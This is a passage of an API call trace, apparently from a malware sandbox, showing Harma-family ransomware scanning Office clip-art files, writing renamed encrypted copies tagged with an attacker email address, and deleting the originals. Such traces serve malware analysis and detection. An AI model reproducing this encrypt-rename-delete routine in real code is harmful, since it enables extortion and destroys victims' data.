(lpString1=".docx", lpString2="0.WMF") returned -1 [0167.458] lstrlenW (lpString=".pdf") returned 4 [0167.458] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.458] lstrlenW (lpString=".xls") returned 4 [0167.458] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.458] lstrlenW (lpString=".xlsx") returned 5 [0167.458] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0167.458] lstrlenW (lpString=".ppt") returned 4 [0167.458] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF") returned 63 [0167.458] lstrlenW (lpString=".zip") returned 4 [0167.458] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.458] lstrlenW (lpString=".rar") returned 4 [0167.458] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.458] lstrlenW (lpString=".bz2") returned 4 [0167.458] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.458] lstrlenW (lpString=".7z") returned 3 [0167.458] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF") returned 63 [0167.458] lstrlenW (lpString=".dbf") returned 4 [0167.458] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF") returned 63 [0167.458] lstrlenW (lpString=".1cd") returned 4 [0167.458] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF") returned 63 [0167.459] lstrlenW (lpString=".jpg") returned 4 [0167.459] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.459] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0167.459] lstrlenW (lpString="J0105286.WMF") returned 12 [0167.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105286.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0167.459] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=6568) returned 1 [0167.459] CloseHandle (hObject=0x208) returned 1 [0167.460] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105286.wmf")) returned 0x20 [0167.460] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105286.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0167.460] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105286.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0167.460] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0167.460] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0167.460] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105286.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0167.461] GetLastError () returned 0x0 [0167.461] ReadFile (in: hFile=0x208, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x19a8, lpOverlapped=0x0) returned 1 [0167.495] WriteFile (in: hFile=0x384, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x19b0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x19b0, lpOverlapped=0x0) returned 1 [0167.496] ReadFile (in: hFile=0x208, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0167.496] WriteFile (in: hFile=0x384, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0167.496] SetEndOfFile (hFile=0x384) returned 1 [0167.496] CloseHandle (hObject=0x384) returned 1 [0167.496] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0167.496] SetEndOfFile (hFile=0x208) returned 1 [0167.500] CloseHandle (hObject=0x208) returned 1 [0167.501] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0167.613] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105286.wmf")) returned 1 [0167.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF") returned 63 [0167.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF") returned 63 [0167.615] lstrlenW (lpString=".doc") returned 4 [0167.615] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.615] lstrlenW (lpString=".docx") returned 5 [0167.615] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0167.615] lstrlenW (lpString=".pdf") returned 4 [0167.615] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.615] lstrlenW (lpString=".xls") returned 4 [0167.615] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.615] lstrlenW (lpString=".xlsx") returned 5 [0167.615] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0167.615] lstrlenW (lpString=".ppt") returned 4 [0167.615] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF") returned 63 [0167.615] lstrlenW (lpString=".zip") returned 4 [0167.615] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.615] lstrlenW (lpString=".rar") returned 4 [0167.615] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.616] lstrlenW (lpString=".bz2") returned 4 [0167.616] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.616] lstrlenW (lpString=".7z") returned 3 [0167.616] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF") returned 63 [0167.616] lstrlenW (lpString=".dbf") returned 4 [0167.616] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF") returned 63 [0167.616] lstrlenW (lpString=".1cd") returned 4 [0167.616] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF") returned 63 [0167.616] lstrlenW (lpString=".jpg") returned 4 [0167.616] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF") returned 63 [0167.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF") returned 63 [0167.616] lstrlenW (lpString=".doc") returned 4 [0167.616] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.616] lstrlenW (lpString=".docx") returned 5 [0167.616] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0167.616] lstrlenW (lpString=".pdf") returned 4 [0167.616] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.616] lstrlenW (lpString=".xls") returned 4 [0167.616] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.616] lstrlenW (lpString=".xlsx") returned 5 [0167.616] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0167.616] lstrlenW (lpString=".ppt") returned 4 [0167.616] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF") returned 63 [0167.616] lstrlenW (lpString=".zip") returned 4 [0167.617] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.617] lstrlenW (lpString=".rar") returned 4 [0167.617] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.617] lstrlenW (lpString=".bz2") returned 4 [0167.617] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.617] lstrlenW (lpString=".7z") returned 3 [0167.617] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF") returned 63 [0167.617] lstrlenW (lpString=".dbf") returned 4 [0167.617] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF") returned 63 [0167.617] lstrlenW (lpString=".1cd") returned 4 [0167.617] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF") returned 63 [0167.617] lstrlenW (lpString=".jpg") returned 4 [0167.617] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.617] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0167.617] lstrlenW (lpString="J0105292.WMF") returned 12 [0167.617] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105292.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0167.618] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=14868) returned 1 [0167.618] CloseHandle (hObject=0x350) returned 1 [0167.618] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105292.wmf")) returned 0x20 [0167.618] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105292.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0167.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105292.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0167.619] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0167.619] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0167.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105292.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0167.620] GetLastError () returned 0x0 [0167.620] ReadFile (in: hFile=0x350, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x3a14, lpOverlapped=0x0) returned 1 [0167.672] WriteFile (in: hFile=0x210, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x3a20, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x3a20, lpOverlapped=0x0) returned 1 [0167.673] ReadFile (in: hFile=0x350, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0167.673] WriteFile (in: hFile=0x210, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0167.673] SetEndOfFile (hFile=0x210) returned 1 [0167.673] CloseHandle (hObject=0x210) returned 1 [0167.673] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0167.673] SetEndOfFile (hFile=0x350) returned 1 [0167.676] CloseHandle (hObject=0x350) returned 1 [0167.676] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0167.726] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105292.wmf")) returned 1 [0167.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF") returned 63 [0167.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF") returned 63 [0167.727] lstrlenW (lpString=".doc") returned 4 [0167.727] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.727] lstrlenW (lpString=".docx") returned 5 [0167.727] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0167.727] lstrlenW (lpString=".pdf") returned 4 [0167.727] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.727] lstrlenW (lpString=".xls") returned 4 [0167.727] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.727] lstrlenW (lpString=".xlsx") returned 5 [0167.727] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0167.727] lstrlenW (lpString=".ppt") returned 4 [0167.727] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF") returned 63 [0167.727] lstrlenW (lpString=".zip") returned 4 [0167.727] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.727] lstrlenW (lpString=".rar") returned 4 [0167.727] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.727] lstrlenW (lpString=".bz2") returned 4 [0167.727] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.727] lstrlenW (lpString=".7z") returned 3 [0167.727] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF") returned 63 [0167.728] lstrlenW (lpString=".dbf") returned 4 [0167.728] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF") returned 63 [0167.728] lstrlenW (lpString=".1cd") returned 4 [0167.728] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF") returned 63 [0167.728] lstrlenW (lpString=".jpg") returned 4 [0167.728] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF") returned 63 [0167.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF") returned 63 [0167.728] lstrlenW (lpString=".doc") returned 4 [0167.728] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.728] lstrlenW (lpString=".docx") returned 5 [0167.728] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0167.728] lstrlenW (lpString=".pdf") returned 4 [0167.728] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.728] lstrlenW (lpString=".xls") returned 4 [0167.728] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.728] lstrlenW (lpString=".xlsx") returned 5 [0167.728] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0167.728] lstrlenW (lpString=".ppt") returned 4 [0167.728] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF") returned 63 [0167.728] lstrlenW (lpString=".zip") returned 4 [0167.728] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.728] lstrlenW (lpString=".rar") returned 4 [0167.728] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.728] lstrlenW (lpString=".bz2") returned 4 [0167.729] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.729] lstrlenW (lpString=".7z") returned 3 [0167.729] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF") returned 63 [0167.729] lstrlenW (lpString=".dbf") returned 4 [0167.729] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF") returned 63 [0167.729] lstrlenW (lpString=".1cd") returned 4 [0167.729] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF") returned 63 [0167.729] lstrlenW (lpString=".jpg") returned 4 [0167.729] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.729] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0167.729] lstrlenW (lpString="J0105306.WMF") returned 12 [0167.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105306.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0167.732] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=4320) returned 1 [0167.732] CloseHandle (hObject=0x208) returned 1 [0167.732] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105306.wmf")) returned 0x20 [0167.739] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105306.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0167.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105306.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0167.769] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0167.769] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0167.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105306.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0167.770] GetLastError () returned 0x0 [0167.770] ReadFile (in: hFile=0x340, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x10e0, lpOverlapped=0x0) returned 1 [0167.896] WriteFile (in: hFile=0x328, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x10f0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x10f0, lpOverlapped=0x0) returned 1 [0167.897] ReadFile (in: hFile=0x340, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0167.897] WriteFile (in: hFile=0x328, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0167.898] SetEndOfFile (hFile=0x328) returned 1 [0167.898] CloseHandle (hObject=0x328) returned 1 [0167.898] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0167.898] SetEndOfFile (hFile=0x340) returned 1 [0167.900] CloseHandle (hObject=0x340) returned 1 [0167.900] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0167.912] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105306.wmf")) returned 1 [0167.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF") returned 63 [0167.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF") returned 63 [0167.913] lstrlenW (lpString=".doc") returned 4 [0167.913] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.913] lstrlenW (lpString=".docx") returned 5 [0167.913] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0167.913] lstrlenW (lpString=".pdf") returned 4 [0167.913] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.913] lstrlenW (lpString=".xls") returned 4 [0167.913] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.913] lstrlenW (lpString=".xlsx") returned 5 [0167.913] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0167.913] lstrlenW (lpString=".ppt") returned 4 [0167.913] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF") returned 63 [0167.913] lstrlenW (lpString=".zip") returned 4 [0167.913] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.914] lstrlenW (lpString=".rar") returned 4 [0167.914] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.914] lstrlenW (lpString=".bz2") returned 4 [0167.914] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.914] lstrlenW (lpString=".7z") returned 3 [0167.914] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF") returned 63 [0167.914] lstrlenW (lpString=".dbf") returned 4 [0167.914] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF") returned 63 [0167.914] lstrlenW (lpString=".1cd") returned 4 [0167.914] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF") returned 63 [0167.914] lstrlenW (lpString=".jpg") returned 4 [0167.914] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF") returned 63 [0167.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF") returned 63 [0167.914] lstrlenW (lpString=".doc") returned 4 [0167.914] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.914] lstrlenW (lpString=".docx") returned 5 [0167.914] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0167.915] lstrlenW (lpString=".pdf") returned 4 [0167.915] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.915] lstrlenW (lpString=".xls") returned 4 [0167.915] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.915] lstrlenW (lpString=".xlsx") returned 5 [0167.915] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0167.915] lstrlenW (lpString=".ppt") returned 4 [0167.915] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF") returned 63 [0167.915] lstrlenW (lpString=".zip") returned 4 [0167.915] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.915] lstrlenW (lpString=".rar") returned 4 [0167.915] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.915] lstrlenW 